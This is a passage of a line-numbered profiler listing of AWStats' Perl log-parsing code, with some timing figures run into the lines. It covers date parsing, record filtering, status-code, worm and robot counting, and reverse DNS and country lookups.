6364 elsif (($LogType eq 'W' || $LogType eq 'S') && ($field[$pos_method] eq 'GET' || $field[$pos_method] eq 'mms' || $field[$pos_method] eq 'rtsp' || $field[$pos_method] eq 'http' || $field[$pos_method] eq 'RTP')) {
6365 # Streaming request (windows media server, realmedia or darwin streaming server)
6366 }
6367 elsif ($LogType eq 'M' && $field[$pos_method] eq 'SMTP') {
6368 # Mail request ('SMTP' for mail log with maillogconvert.pl preprocessor)
6369 }
6370 elsif ($LogType eq 'F' && ($field[$pos_method] eq 'RETR' || $field[$pos_method] eq 'o' || $field[$pos_method] =~ /$regget/o)) {
6371 # FTP GET request
6372 }
6373 elsif ($LogType eq 'F' && ($field[$pos_method] eq 'STOR' || $field[$pos_method] eq 'i' || $field[$pos_method] =~ /$regsent/o)) {
6374 # FTP SENT request
6375 }
6376 else {
6377 $NbOfLinesDropped++;
6378 if ($ShowDropped) { print "Dropped record (method/protocol '$field[$pos_method]' not qualified when LogType=$LogType): $line\n"; }
6379 next;
6380 }
6381
6382 $field[$pos_date] =~ tr/,-\/ \t/:::::/s; # " \t" is used instead of "\s" not known with tr
6383 my @dateparts=split(/:/,$field[$pos_date]); # tr and split faster than @dateparts=split(/[\/\-:\s]/,$field[$pos_date])
6384 # Detected date format: dddddddddd, YYYY-MM-DD HH:MM:SS (IIS), MM/DD/YY\tHH:MM:SS,
6385 # DD/Month/YYYY:HH:MM:SS (Apache), DD/MM/YYYY HH:MM:SS, Mon DD HH:MM:SS
6386 if (! $dateparts[1]) { # Unix timestamp
6387 ($dateparts[5],$dateparts[4],$dateparts[3],$dateparts[0],$dateparts[1],$dateparts[2]) = localtime(int($field[$pos_date]));
6388 $dateparts[1]++;$dateparts[2]+=1900;
6389 }
6390 elsif ($dateparts[0] =~ /^....$/) { my $tmp=$dateparts[0]; $dateparts[0]=$dateparts[2]; $dateparts[2]=$tmp; }
6391 elsif ($field[$pos_date] =~ /^..:..:..:/) { $dateparts[2]+=2000; my $tmp=$dateparts[0]; $dateparts[0]=$dateparts[1]; $dateparts[1]=$tmp; }
6392 elsif ($dateparts[0] =~ /^...$/) { my $tmp=$dateparts[0]; $dateparts[0]=$dateparts[1]; $dateparts[1]=$tmp; $tmp=$dateparts[5]; $dateparts[5]=$dateparts[4]; $dateparts[4]=$dateparts[3]; $dateparts[3]=$dateparts[2]; $dateparts[2]=$tmp||$nowyear; }
6393 if (exists($MonthNum{$dateparts[1]})) { $dateparts[1]=$MonthNum{$dateparts[1]}; } # Change lib month in num month if necessary
6394 if ($dateparts[1] <= 0) { # Date corrupted (for example $dateparts[1]='dic' for december month in a spanish log file)
6395 $NbOfLinesCorrupted++;
6396 if ($ShowCorrupted) { print "Corrupted record line ".($lastlinenb+$NbOfLinesParsed)." (bad date format for month, may be month are not in english ?): $line\n"; }
6397 next;
6398 }
6399
6400 # Now @dateparts is (DD,MM,YYYY,HH,MM,SS) and we're going to create $timerecord=YYYYMMDDHHMMSS
6401 if ($PluginsLoaded{'ChangeTime'}{'timezone'}) { @dateparts=ChangeTime_timezone(\@dateparts); }
6402 my $yearrecord=int($dateparts[2]);
6403 my $monthrecord=int($dateparts[1]);
6404 my $dayrecord=int($dateparts[0]);
6405 my $hourrecord=int($dateparts[3]);
6406 my $daterecord='';
6407 if ($DatabaseBreak eq 'month') { $daterecord=sprintf("%04i%02i",$yearrecord,$monthrecord); }
6408 elsif ($DatabaseBreak eq 'year') { $daterecord=sprintf("%04i%",$yearrecord); }
6409 elsif ($DatabaseBreak eq 'day') { $daterecord=sprintf("%04i%02i%02i",$yearrecord,$monthrecord,$dayrecord); }
6410 elsif ($DatabaseBreak eq 'hour') { $daterecord=sprintf("%04i%02i%02i%02i",$yearrecord,$monthrecord,$dayrecord,$hourrecord); }
6411 # TODO essayer de virer yearmonthrecord
6412 my $yearmonthdayrecord=sprintf("$dateparts[2]%02i%02i",$dateparts[1],$dateparts[0]);
6413 my $timerecord=((int("$yearmonthdayrecord")*100+$dateparts[3])*100+$dateparts[4])*100+$dateparts[5];
6414
6415 # Check date
6416 #-----------------------
6417 if ($LogType eq 'M' && $timerecord > $tomorrowtime)
6418 {
6419 # Postfix/Sendmail does not store year, so we assume that year is year-1 if record is in future
6420 $yearrecord--;
6421 if ($DatabaseBreak eq 'month') { $daterecord=sprintf("%04i%02i",$yearrecord,$monthrecord); }
6422 elsif ($DatabaseBreak eq 'year') { $daterecord=sprintf("%04i%",$yearrecord); }
6423 elsif ($DatabaseBreak eq 'day') { $daterecord=sprintf("%04i%02i%02i",$yearrecord,$monthrecord,$dayrecord); }
6424 elsif ($DatabaseBreak eq 'hour') { $daterecord=sprintf("%04i%02i%02i%02i",$yearrecord,$monthrecord,$dayrecord,$hourrecord); }
6425 # TODO essayer de virer yearmonthrecord
6426 $yearmonthdayrecord=sprintf("$yearrecord%02i%02i",$dateparts[1],$dateparts[0]);
6427 $timerecord=((int("$yearmonthdayrecord")*100+$dateparts[3])*100+$dateparts[4])*100+$dateparts[5];
6428 }
6429 if ($timerecord < 10000000000000 || $timerecord > $tomorrowtime) {
6430 $NbOfLinesCorrupted++;
6431 if ($ShowCorrupted) { print "Corrupted record (invalid date, timerecord=$timerecord): $line\n"; }
6432 next; # Should not happen, kept in case of parasite/corrupted line
6433 }
643417957592.553281.4e-6 if ($NewLinePhase) {
6435 # TODO NOTSORTEDRECORDTOLERANCE does not work around midnight
6436 if ($timerecord < ($LastLine - $NOTSORTEDRECORDTOLERANCE)) {
6437 # Should not happen, kept in case of parasite/corrupted old line
6438 $NbOfLinesCorrupted++;
6439 if ($ShowCorrupted) { print "Corrupted record (date $timerecord lower than $LastLine-$NOTSORTEDRECORDTOLERANCE): $line\n"; } next;
6440 }
6441 }
6442 else {
6443 if ($timerecord <= $LastLine) { # Already processed
6444 $NbOfOldLines++;
6445 next;
6446 }
6447 # We found a new line. This will replace comparison "<=" with "<" between timerecord and LastLine (we should have only new lines now)
6448 $NewLinePhase=1; # We will never enter here again
6449 if ($ShowSteps) {
6450 if ($NbOfLinesShowsteps > 1 && ($NbOfLinesShowsteps & $NBOFLINESFORBENCHMARK)) {
6451 my $delay=&GetDelaySinceStart(0);
6452 print "".($NbOfLinesParsed-1)." lines processed (".($delay>0?$delay:1000)." ms, ".int(1000*($NbOfLinesShowsteps-1)/($delay>0?$delay:1000))." lines/second)\n";
6453 }
6454 &GetDelaySinceStart(1); $NbOfLinesShowsteps=1;
6455 }
6456 if (! scalar keys %HTMLOutput) {
6457 print "Phase 2 : Now process new records (Flush history on disk after ".($LIMITFLUSH<<2)." hosts)...\n";
6458 #print "Phase 2 : Now process new records (Flush history on disk after ".($LIMITFLUSH<<2)." hosts or ".($LIMITFLUSH)." URLs)...\n";
6459 }
6460 }
6461
6462 # Convert URL for Webstar to common URL
6463 if ($LogFormat eq '3') {
6464 $field[$pos_url]=~s/:/\//g;
6465 if ($field[$pos_code] eq '-') { $field[$pos_code]='200'; }
6466 }
6467
6468 # Here, field array, timerecord and yearmonthdayrecord are initialized for log record
6469 if ($Debug) { debug(" This is a not already processed record ($timerecord)",4); }
6470
6471 # We found a new line
6472 #----------------------------------------
647348570.004881.0e-6 if ($timerecord > $LastLine) { $LastLine = $timerecord; } # Test should always be true except with not sorted log files
6474
6475 # Skip for some client host IP addresses, some URLs, other URLs
6476 if (@SkipHosts && (&SkipHost($field[$pos_host]) || ($pos_hostr && &SkipHost($field[$pos_hostr])))) { $qualifdrop="Dropped record (host $field[$pos_host]".($pos_hostr?" and $field[$pos_hostr]":"")." not qualified by SkipHosts)"; }
# spent 41.3s making 1795756 calls to main::OnlyFile, avg 23µs/call
6477 elsif (@SkipFiles && &SkipFile($field[$pos_url])) { $qualifdrop="Dropped record (URL $field[$pos_url] not qualified by SkipFiles)"; }
6478 elsif (@SkipUserAgents && $pos_agent >= 0 && &SkipUserAgent($field[$pos_agent])) { $qualifdrop="Dropped record (user agent '$field[$pos_agent]' not qualified by SkipUserAgents)"; }
6479 elsif (@SkipReferrers && $pos_referer >= 0 && &SkipReferrer($field[$pos_referer])) { $qualifdrop="Dropped record (URL $field[$pos_referer] not qualified by SkipReferrers)"; }
6480 elsif (@OnlyHosts && ! &OnlyHost($field[$pos_host]) && (! $pos_hostr || ! &OnlyHost($field[$pos_hostr]))) { $qualifdrop="Dropped record (host $field[$pos_host]".($pos_hostr?" and $field[$pos_hostr]":"")." not qualified by OnlyHosts)"; }
6481 elsif (@OnlyFiles && ! &OnlyFile($field[$pos_url])) { $qualifdrop="Dropped record (URL $field[$pos_url] not qualified by OnlyFiles)"; }
6482 elsif (@OnlyUserAgents && ! &OnlyUserAgent($field[$pos_agent])) { $qualifdrop="Dropped record (user agent '$field[$pos_agent]' not qualified by OnlyUserAgents)"; }
6483897878011.345891.3e-6 if ($qualifdrop) {
6484 $NbOfLinesDropped++;
6485 if ($Debug) { debug("$qualifdrop: $line",4); }
6486 if ($ShowDropped) { print "$qualifdrop: $line\n"; }
6487 $qualifdrop='';
6488 next;
6489 }
6490
6491 # Record is approved
6492 #-------------------
6493
6494 # Is it in a new break section ?
6495 #-------------------------------
6496 if ($daterecord > $lastprocesseddate) {
6497 # A new break to process
6498 if ($lastprocesseddate > 0) {
6499 # We save data of previous break
6500 &Read_History_With_TmpUpdate($lastprocessedyear,$lastprocessedmonth,$lastprocessedday,$lastprocessedhour,1,1,"all",($lastlinenb+$NbOfLinesParsed),$lastlineoffset,&CheckSum($line));
6501 $counterforflushtest=0; # We reset counterforflushtest
6502 }
6503 $lastprocessedyear=$yearrecord;
6504 $lastprocessedmonth=$monthrecord;
6505 $lastprocessedday=$dayrecord;
6506 $lastprocessedhour=$hourrecord;
6507 if ($DatabaseBreak eq 'month') { $lastprocesseddate=sprintf("%04i%02i",$yearrecord,$monthrecord); }
6508 elsif ($DatabaseBreak eq 'year') { $lastprocesseddate=sprintf("%04i%",$yearrecord); }
6509 elsif ($DatabaseBreak eq 'day') { $lastprocesseddate=sprintf("%04i%02i%02i",$yearrecord,$monthrecord,$dayrecord); }
6510 elsif ($DatabaseBreak eq 'hour') { $lastprocesseddate=sprintf("%04i%02i%02i%02i",$yearrecord,$monthrecord,$dayrecord,$hourrecord); }
6511 }
6512
6513 $countedtraffic=0;
6514 $NbOfNewLines++;
6515
6516 # Convert $field[$pos_size]
6517 # if ($field[$pos_size] eq '-') { $field[$pos_size]=0; }
6518
6519 # Define a clean target URL and referrer URL
6520 # We keep a clean $field[$pos_url] and
6521 # we store original value for urlwithnoquery, tokenquery and standalonequery
6522 #---------------------------------------------------------------------------
6523 if ($URLNotCaseSensitive) { $field[$pos_url]=lc($field[$pos_url]); }
6524 # Possible URL syntax for $field[$pos_url]: /mydir/mypage.ext?param1=x&param2=y#aaa, /mydir/mypage.ext#aaa, /
6525 my $urlwithnoquery; my $tokenquery; my $standalonequery; my $anchor='';
6526 if ($field[$pos_url] =~ s/$regtruncanchor//o) { $anchor=$1; } # Remove and save anchor
6527 if ($URLWithQuery) {
6528 $urlwithnoquery=$field[$pos_url];
6529 my $foundparam=($urlwithnoquery =~ s/$regtruncurl//o);
6530 $tokenquery=$1||'';
6531 $standalonequery=$2||'';
6532 # For IIS setup, if pos_query is enabled we need to combine the URL to query strings
6533 if (! $foundparam && $pos_query >=0 && $field[$pos_query] && $field[$pos_query] ne '-') {
6534 $foundparam=1;
6535 $tokenquery='?';
6536 $standalonequery=$field[$pos_query];
6537 # Define query
6538 $field[$pos_url] .= '?'.$field[$pos_query];
6539 }
6540 if ($foundparam) {
6541 # Keep only params that are defined in URLWithQueryWithOnlyFollowingParameters
6542 my $newstandalonequery='';
6543 if (@URLWithQueryWithOnly) {
6544 foreach (@URLWithQueryWithOnly) {
6545 foreach my $p (split(/&/,$standalonequery)) {
6546 if ($URLNotCaseSensitive) { if ($p =~ /^$_=/i) { $newstandalonequery.="$p&"; last; } }
6547 else { if ($p =~ /^$_=/) { $newstandalonequery.="$p&"; last; } }
6548 }
6549 }
6550 chop $newstandalonequery;
6551 }
6552 # Remove params that are marked to be ignored in URLWithQueryWithoutFollowingParameters
6553 elsif (@URLWithQueryWithout) {
6554 foreach my $p (split(/&/,$standalonequery)) {
6555 my $found=0;
6556 foreach (@URLWithQueryWithout) {
6557 #if ($Debug) { debug(" Check if '$_=' is param '$p' to remove it from query",5); }
6558 if ($URLNotCaseSensitive) { if ($p =~ /^$_=/i) { $found=1; last; } }
6559 else { if ($p =~ /^$_=/) { $found=1; last; } }
6560 }
6561 if (! $found) { $newstandalonequery.="$p&"; }
6562 }
6563 chop $newstandalonequery;
6564 }
6565 else { $newstandalonequery=$standalonequery; }
6566 # Define query
6567 $field[$pos_url]=$urlwithnoquery;
6568 if ($newstandalonequery) { $field[$pos_url].="$tokenquery$newstandalonequery"; }
6569 }
6570 }
6571 else {
6572 # Trunc parameters of URL
6573 $field[$pos_url] =~ s/$regtruncurl//o;
6574 $urlwithnoquery=$field[$pos_url];
6575 $tokenquery=$1||'';
6576 $standalonequery=$2||'';
6577 # For IIS setup, if pos_query is enabled we need to use it for query strings
6578 if ($pos_query >=0 && $field[$pos_query] && $field[$pos_query] ne '-') {
6579 $tokenquery='?';
6580 $standalonequery=$field[$pos_query];
6581 }
6582 }
6583 if ($URLWithAnchor && $anchor) { $field[$pos_url].="#$anchor"; } # Restore anchor
6584 # Here now urlwithnoquery is /mydir/mypage.ext, /mydir, /, /page#XXX
6585 # Here now tokenquery is '' or '?' or ';'
6586 # Here now standalonequery is '' or 'param1=x'
6587
6588 # Define page and extension
6589 #--------------------------
6590 my $PageBool=1;
6591 # Extension
6592 my $extension;
6593 if ($urlwithnoquery =~ /$regext/o || ($urlwithnoquery =~ /[\\\/]$/ && $DefaultFile[0] =~ /$regext/o)) {
6594 $extension=($LevelForFileTypesDetection>=2 || $MimeHashFamily{$1})?lc($1):'Unknown';
6595 if ($NotPageList{$extension}) { $PageBool=0; }
6596 }
6597 else {
6598 $extension='Unknown';
6599 }
6600
6601 if (@NotPageFiles && &NotPageFile($field[$pos_url])) { $PageBool=0; }
6602
6603 # Analyze: misc tracker (must be before return code)
6604 #---------------------------------------------------
6605 if ($urlwithnoquery =~ /$regmisc/o) {
6606 if ($Debug) { debug(" Found an URL that is a MiscTracker record with standalonequery=$standalonequery",2); }
6607 my $foundparam=0;
6608 foreach (split(/&/,$standalonequery)) {
6609 if ($_ =~ /^screen=(\d+)x(\d+)/i) { $foundparam++; $_screensize_h{"$1x$2"}++; next; }
6610 #if ($_ =~ /cdi=(\d+)/i) { $foundparam++; $_screendepth_h{"$1"}++; next; }
6611 if ($_ =~ /^nojs=(\w+)/i) { $foundparam++; if ($1 eq 'y') { $_misc_h{"JavascriptDisabled"}++; } next; }
6612 if ($_ =~ /^java=(\w+)/i) { $foundparam++; if ($1 eq 'true') { $_misc_h{"JavaEnabled"}++; } next; }
6613 if ($_ =~ /^shk=(\w+)/i) { $foundparam++; if ($1 eq 'y') { $_misc_h{"DirectorSupport"}++; } next; }
6614 if ($_ =~ /^fla=(\w+)/i) { $foundparam++; if ($1 eq 'y') { $_misc_h{"FlashSupport"}++; } next; }
6615 if ($_ =~ /^rp=(\w+)/i) { $foundparam++; if ($1 eq 'y') { $_misc_h{"RealPlayerSupport"}++; } next; }
6616 if ($_ =~ /^mov=(\w+)/i) { $foundparam++; if ($1 eq 'y') { $_misc_h{"QuickTimeSupport"}++; } next; }
6617 if ($_ =~ /^wma=(\w+)/i) { $foundparam++; if ($1 eq 'y') { $_misc_h{"WindowsMediaPlayerSupport"}++; } next; }
6618 if ($_ =~ /^pdf=(\w+)/i) { $foundparam++; if ($1 eq 'y') { $_misc_h{"PDFSupport"}++; } next; }
6619 }
6620 if ($foundparam) { $_misc_h{"TotalMisc"}++; }
6621 }
6622
6623 # Analyze: favicon (countedtraffic=>1 if favicon)
6624 #------------------------------------------------
6625 if ($pos_referer >= 0 && $field[$pos_referer] && $urlwithnoquery =~ /$regfavico/o) {
6626 if (($field[$pos_code] != 404 || $urlwithnoquery !~ /\/.+\/favicon\.ico$/i) && ($field[$pos_agent] =~ /MSIE/)) {
6627 # We don't count one hit if (not on root and error) and MSIE
6628 # If error not on root, another hit will be made on root. If not MSIE, hit are made not only for "Adding".
6629 $_misc_h{'AddToFavourites'}++; # Hit on favicon on root or without error, we count it
6630 }
6631 $countedtraffic=1; # favicon is a case that must not be counted anywhere else
6632 }
6633
6634 # Analyze: Worms (countedtraffic=>2 if worm)
6635 #-------------------------------------------
6636 if (! $countedtraffic) {
6637 if ($LevelForWormsDetection) {
6638 foreach (@WormsSearchIDOrder) {
6639 if ($field[$pos_url] =~ /$_/) {
6640 # It's a worm
6641 my $worm=&UnCompileRegex($_);
6642 if ($Debug) { debug(" Record is a hit from a worm identified by '$worm'",2); }
6643 $worm=$WormsHashID{$worm}||'unknown';
6644 $_worm_h{$worm}++;
6645 $_worm_k{$worm}+=int($field[$pos_size]);
6646 $_worm_l{$worm}=$timerecord;
6647 $countedtraffic=2;
6648 if ($PageBool) { $_time_nv_p[$hourrecord]++; }
6649 $_time_nv_h[$hourrecord]++;
6650 $_time_nv_k[$hourrecord]+=int($field[$pos_size]);
6651 last;
6652 }
6653 }
6654 }
6655 }
6656
6657 # Analyze: Status code (countedtraffic=>3 if error)
6658 #--------------------------------------------------
6659 if (! $countedtraffic) {
6660 if ($LogType eq 'W' || $LogType eq 'S') { # HTTP record or Stream record
6661 if ($ValidHTTPCodes{$field[$pos_code]}) { # Code is valid
6662 if ($field[$pos_code] == 304) { $field[$pos_size]=0; }
6663 }
6664 else { # Code is not valid
6665 if ($field[$pos_code] !~ /^\d\d\d$/) { $field[$pos_code]=999; }
6666 $_errors_h{$field[$pos_code]}++;
6667 $_errors_k{$field[$pos_code]}+=int($field[$pos_size]);
6668 foreach my $code (keys %TrapInfosForHTTPErrorCodes) {
6669 if ($field[$pos_code] == $code) {
6670 # This is an error code which referrer need to be tracked
6671 my $newurl=substr($field[$pos_url],0,$MaxLengthOfStoredURL);
6672 $newurl =~ s/[$URLQuerySeparators].*$//;
6673 $_sider404_h{$newurl}++;
6674 if ($pos_referer >= 0) {
6675 my $newreferer=$field[$pos_referer];
6676 if (! $URLReferrerWithQuery) { $newreferer =~ s/[$URLQuerySeparators].*$//; }
6677 $_referer404_h{$newurl}=$newreferer;
6678 last;
6679 }
6680 }
6681 }
6682 if ($Debug) { debug(" Record stored in the status code chart (status code=$field[$pos_code])",3); }
6683 $countedtraffic=3;
6684 if ($PageBool) { $_time_nv_p[$hourrecord]++; }
6685 $_time_nv_h[$hourrecord]++;
6686 $_time_nv_k[$hourrecord]+=int($field[$pos_size]);
6687 }
6688 }
6689 elsif ($LogType eq 'M') { # Mail record
6690 if (! $ValidSMTPCodes{$field[$pos_code]}) { # Code is not valid
6691 $_errors_h{$field[$pos_code]}++;
6692 $_errors_k{$field[$pos_code]}+=int($field[$pos_size]); # Size is often 0 when error
6693 if ($Debug) { debug(" Record stored in the status code chart (status code=$field[$pos_code])",3); }
6694 $countedtraffic=3;
6695 if ($PageBool) { $_time_nv_p[$hourrecord]++; }
6696 $_time_nv_h[$hourrecord]++;
6697 $_time_nv_k[$hourrecord]+=int($field[$pos_size]);
6698 }
6699 }
6700 elsif ($LogType eq 'F') { # FTP record
6701 }
6702 }
6703
6704 # Analyze: Robot from robot database (countedtraffic=>4 if robot)
6705 #----------------------------------------------------------------
6706 if (! $countedtraffic) {
6707 if ($pos_agent >= 0) {
6708 if ($DecodeUA) { $field[$pos_agent] =~ s/%20/_/g; } # This is to support servers (like Roxen) that writes user agent with %20 in it
6709 $UserAgent=$field[$pos_agent];
6710
6711 if ($LevelForRobotsDetection) {
6712
6713 my $uarobot=$TmpRobot{$UserAgent};
6714 if (! $uarobot) {
6715 #study $UserAgent; Does not increase speed
6716 foreach (@RobotsSearchIDOrder) {
6717 if ($UserAgent =~ /$_/) {
6718 my $bot=&UnCompileRegex($_);
6719 $TmpRobot{$UserAgent}=$uarobot="$bot"; # Last time, we won't search if robot or not. We know it is.
6720 if ($Debug) { debug(" UserAgent '$UserAgent' is added to TmpRobot with value '$bot'",2); }
6721 last;
6722 }
6723 }
6724 if (! $uarobot) { # Last time, we won't search if robot or not. We know it's not.
6725 $TmpRobot{$UserAgent}=$uarobot='-';
6726 }
6727 }
6728 if ($uarobot ne '-') {
6729 # If robot, we stop here
6730 if ($Debug) { debug(" UserAgent '$UserAgent' contains robot ID '$uarobot'",2); }
6731 $_robot_h{$uarobot}++;
6732 $_robot_k{$uarobot}+=int($field[$pos_size]);
6733 $_robot_l{$uarobot}=$timerecord;
6734 if ($urlwithnoquery =~ /$regrobot/o) { $_robot_r{$uarobot}++; }
6735 $countedtraffic=4;
6736 if ($PageBool) { $_time_nv_p[$hourrecord]++; }
6737 $_time_nv_h[$hourrecord]++;
6738 $_time_nv_k[$hourrecord]+=int($field[$pos_size]);
6739 }
6740 }
6741 }
6742 }
6743
6744 # Analyze: Robot from "hit on robots.txt" file (countedtraffic=>5 if robot)
6745 # -------------------------------------------------------------------------
6746 if (! $countedtraffic) {
6747 if ($urlwithnoquery =~ /$regrobot/o) {
6748 if ($Debug) { debug(" It's an unknown robot",2); }
6749 $_robot_h{'unknown'}++;
6750 $_robot_k{'unknown'}+=int($field[$pos_size]);
6751 $_robot_l{'unknown'}=$timerecord;
6752 $_robot_r{'unknown'}++;
6753 $countedtraffic=5; # Must not be counted somewhere else
6754 if ($PageBool) { $_time_nv_p[$hourrecord]++; }
6755 $_time_nv_h[$hourrecord]++;
6756 $_time_nv_k[$hourrecord]+=int($field[$pos_size]);
6757 }
6758 }
6759
6760 # Analyze: File type - Compression
6761 #---------------------------------
6762 if (! $countedtraffic) {
6763 if ($LevelForFileTypesDetection) {
6764 $_filetypes_h{$extension}++;
6765 $_filetypes_k{$extension}+=int($field[$pos_size]); # TODO can cause a warning
6766 # Compression
6767 if ($pos_gzipin>=0 && $field[$pos_gzipin]) { # If in and out in log
6768 my ($notused,$in)=split(/:/,$field[$pos_gzipin]);
6769 my ($notused1,$out,$notused2)=split(/:/,$field[$pos_gzipout]);
6770 if ($out) {
6771 $_filetypes_gz_in{$extension}+=$in;
6772 $_filetypes_gz_out{$extension}+=$out;
6773 }
6774 }
6775 elsif ($pos_compratio>=0 && ($field[$pos_compratio] =~ /(\d+)/)) { # Calculate in/out size from percentage
6776 if ($fieldlib[$pos_compratio] eq 'gzipratio') {
6777 # with mod_gzip: % is size (before-after)/before (low for jpg) ??????????
6778 $_filetypes_gz_in{$extension}+=int($field[$pos_size]*100/((100-$1)||1));
6779 } else {
6780 # with mod_deflate: % is size after/before (high for jpg)
6781 $_filetypes_gz_in{$extension}+=int($field[$pos_size]*100/($1||1));
6782 }
6783 $_filetypes_gz_out{$extension}+=int($field[$pos_size]);
6784 }
6785 }
6786
6787 # Analyze: Date - Hour - Pages - Hits - Kilo
6788 #-------------------------------------------
6789 if ($PageBool) {
6790 # Replace default page name with / only ('if' is to increase speed when only 1 value in @DefaultFile)
6791 if (@DefaultFile > 1) { foreach my $elem (@DefaultFile) { if ($field[$pos_url] =~ s/\/$elem$/\//o) { last; } } }
6792 else { $field[$pos_url] =~ s/$regdefault/\//o; }
6793 # FirstTime and LastTime are First and Last human visits (so changed if access to a page)
6794 $FirstTime{$lastprocesseddate}||=$timerecord;
6795 $LastTime{$lastprocesseddate}=$timerecord;
6796 $DayPages{$yearmonthdayrecord}++;
6797 $_url_p{$field[$pos_url]}++; #Count accesses for page (page)
6798 $_url_k{$field[$pos_url]}+=int($field[$pos_size]);
6799 $_time_p[$hourrecord]++; #Count accesses for hour (page)
6800 # TODO Use an id for hash key of url
6801 # $_url_t{$_url_id}
6802 }
6803 $_time_h[$hourrecord]++;
6804 $_time_k[$hourrecord]+=int($field[$pos_size]);
6805 $DayHits{$yearmonthdayrecord}++; #Count accesses for hour (hit)
6806 $DayBytes{$yearmonthdayrecord}+=int($field[$pos_size]); #Count accesses for hour (kb)
6807
6808 # Analyze: Login
6809 #---------------
6810 if ($pos_logname>=0 && $field[$pos_logname] && $field[$pos_logname] ne '-') {
6811 $field[$pos_logname] =~ s/ /_/g; # This is to allow space in logname
6812 if ($LogFormat eq '6') { $field[$pos_logname] =~ s/^\"//; $field[$pos_logname] =~ s/\"$//;} # logname field has " with Domino 6+
6813 if ($AuthenticatedUsersNotCaseSensitive) { $field[$pos_logname]=lc($field[$pos_logname]); }
6814
6815 # We found an authenticated user
6816 if ($PageBool) { $_login_p{$field[$pos_logname]}++; } #Count accesses for page (page)
6817 $_login_h{$field[$pos_logname]}++; #Count accesses for page (hit)
6818 $_login_k{$field[$pos_logname]}+=int($field[$pos_size]); #Count accesses for page (kb)
6819 $_login_l{$field[$pos_logname]}=$timerecord;
6820 }
6821 }
6822
6823 # Do DNS lookup
6824 #--------------
6825 my $Host=$field[$pos_host];
6826 my $HostResolved='';
6827
6828 if (! $countedtraffic) {
6829 my $ip=0;
6830 if ($DNSLookup) { # DNS lookup is 1 or 2
6831 if ($Host =~ /$regipv4/o) { $ip=4; } # IPv4
6832 elsif ($Host =~ /$regipv6/o) { $ip=6; } # IPv6
6833 if ($ip) {
6834 # Check in static DNS cache file
6835 $HostResolved=$MyDNSTable{$Host};
6836 if ($HostResolved) {
6837 if ($Debug) { debug(" DNS lookup asked for $Host and found in static DNS cache file: $HostResolved",4); }
6838 }
6839 elsif ($DNSLookup==1) {
6840 # Check in session cache (dynamic DNS cache file + session DNS cache)
6841 $HostResolved=$TmpDNSLookup{$Host};
6842 if (! $HostResolved) {
6843 if (@SkipDNSLookupFor && &SkipDNSLookup($Host)) {
6844 $HostResolved=$TmpDNSLookup{$Host}='*';
6845 if ($Debug) { debug(" No need of reverse DNS lookup for $Host, skipped at user request.",4); }
6846 }
6847 else {
6848 if ($ip == 4) {
6849 my $lookupresult=gethostbyaddr(pack("C4",split(/\./,$Host)),AF_INET); # This is very slow, may spend 20 seconds
6850 if (! $lookupresult || $lookupresult =~ /$regipv4/o || ! IsAscii($lookupresult)) {
6851 $TmpDNSLookup{$Host}=$HostResolved='*';
6852 }
6853 else {
6854 $TmpDNSLookup{$Host}=$HostResolved=$lookupresult;
6855 }
6856 if ($Debug) { debug(" Reverse DNS lookup for $Host done: $HostResolved",4); }
6857 }
6858 elsif ($ip == 6) {
6859 if ($PluginsLoaded{'GetResolvedIP'}{'ipv6'}) {
6860 my $lookupresult=GetResolvedIP_ipv6($Host);
6861 if (! $lookupresult || ! IsAscii($lookupresult)) {
6862 $TmpDNSLookup{$Host}=$HostResolved='*';
6863 }
6864 else {
6865 $TmpDNSLookup{$Host}=$HostResolved=$lookupresult;
6866 }
6867 } else {
6868 $TmpDNSLookup{$Host}=$HostResolved='*';
6869 warning("Reverse DNS lookup for $Host not available without ipv6 plugin enabled.");
6870 }
6871 }
6872 else { error("Bad value vor ip"); }
6873 }
6874 }
6875 }
6876 else {
6877 $HostResolved='*';
6878 if ($Debug) { debug(" DNS lookup by static DNS cache file asked for $Host but not found.",4); }
6879 }
6880 }
6881 else {
6882 if ($Debug) { debug(" DNS lookup asked for $Host but this is not an IP address.",4); }
6883 $DNSLookupAlreadyDone=$LogFile;
6884 }
6885 }
6886 else {
6887 if ($Host =~ /$regipv4/o) { $HostResolved='*'; $ip=4; } # IPv4
6888 elsif ($Host =~ /$regipv6/o) { $HostResolved='*'; $ip=6; } # IPv6
6889 if ($Debug) { debug(" No DNS lookup asked.",4); }
6890 }
6891
6892 # Analyze: Country (Top-level domain)
6893 #------------------------------------
6894 if ($Debug) { debug(" Search country (Host=$Host HostResolved=$HostResolved ip=$ip)",4); }
6895 my $Domain='ip';
6896 # Set $HostResolved to host and resolve domain
6897 if ($HostResolved eq '*') {
6898 # $Host is an IP address and is not resolved (failed or not asked) or resolution gives an IP address
6899 $HostResolved = $Host;
6900 # Resolve Domain
6901 if ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip'}) { $Domain=GetCountryCodeByAddr_geoip($HostResolved); }
6902 # elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_region_maxmind($HostResolved); }
6903 # elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_city_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_city_maxmind($HostResolved); }
6904 elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoipfree'}) { $Domain=GetCountryCodeByAddr_geoipfree($HostResolved); }
6905 if ($AtLeastOneSectionPlugin) {
6906 foreach my $pluginname (keys %{$PluginsLoaded{'SectionProcessIp'}}) {
6907 my $function="SectionProcessIp_$pluginname";
6908 if ($Debug) { debug(" Call to plugin function $function",5); }
6909 &$function($HostResolved);
6910 }
6911 }
6912 }
6913 else {
6914 # $Host was already a host name ($ip=0, $Host=name, $HostResolved='') or has been resolved ($ip>0, $Host=ip, $HostResolved defined)
6915 $HostResolved = lc($HostResolved?$HostResolved:$Host);
6916 # Resolve Domain
6917 if ($ip) { # If we have ip, we use it in priority instead of hostname
6918 if ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip'}) { $Domain=GetCountryCodeByAddr_geoip($Host); }
6919 # elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_region_maxmind($Host); }
6920 # elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_city_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_city_maxmind($Host); }
6921 elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoipfree'}) { $Domain=GetCountryCodeByAddr_geoipfree($Host); }
6922 elsif ($HostResolved =~ /\.(\w+)$/) { $Domain=$1; }
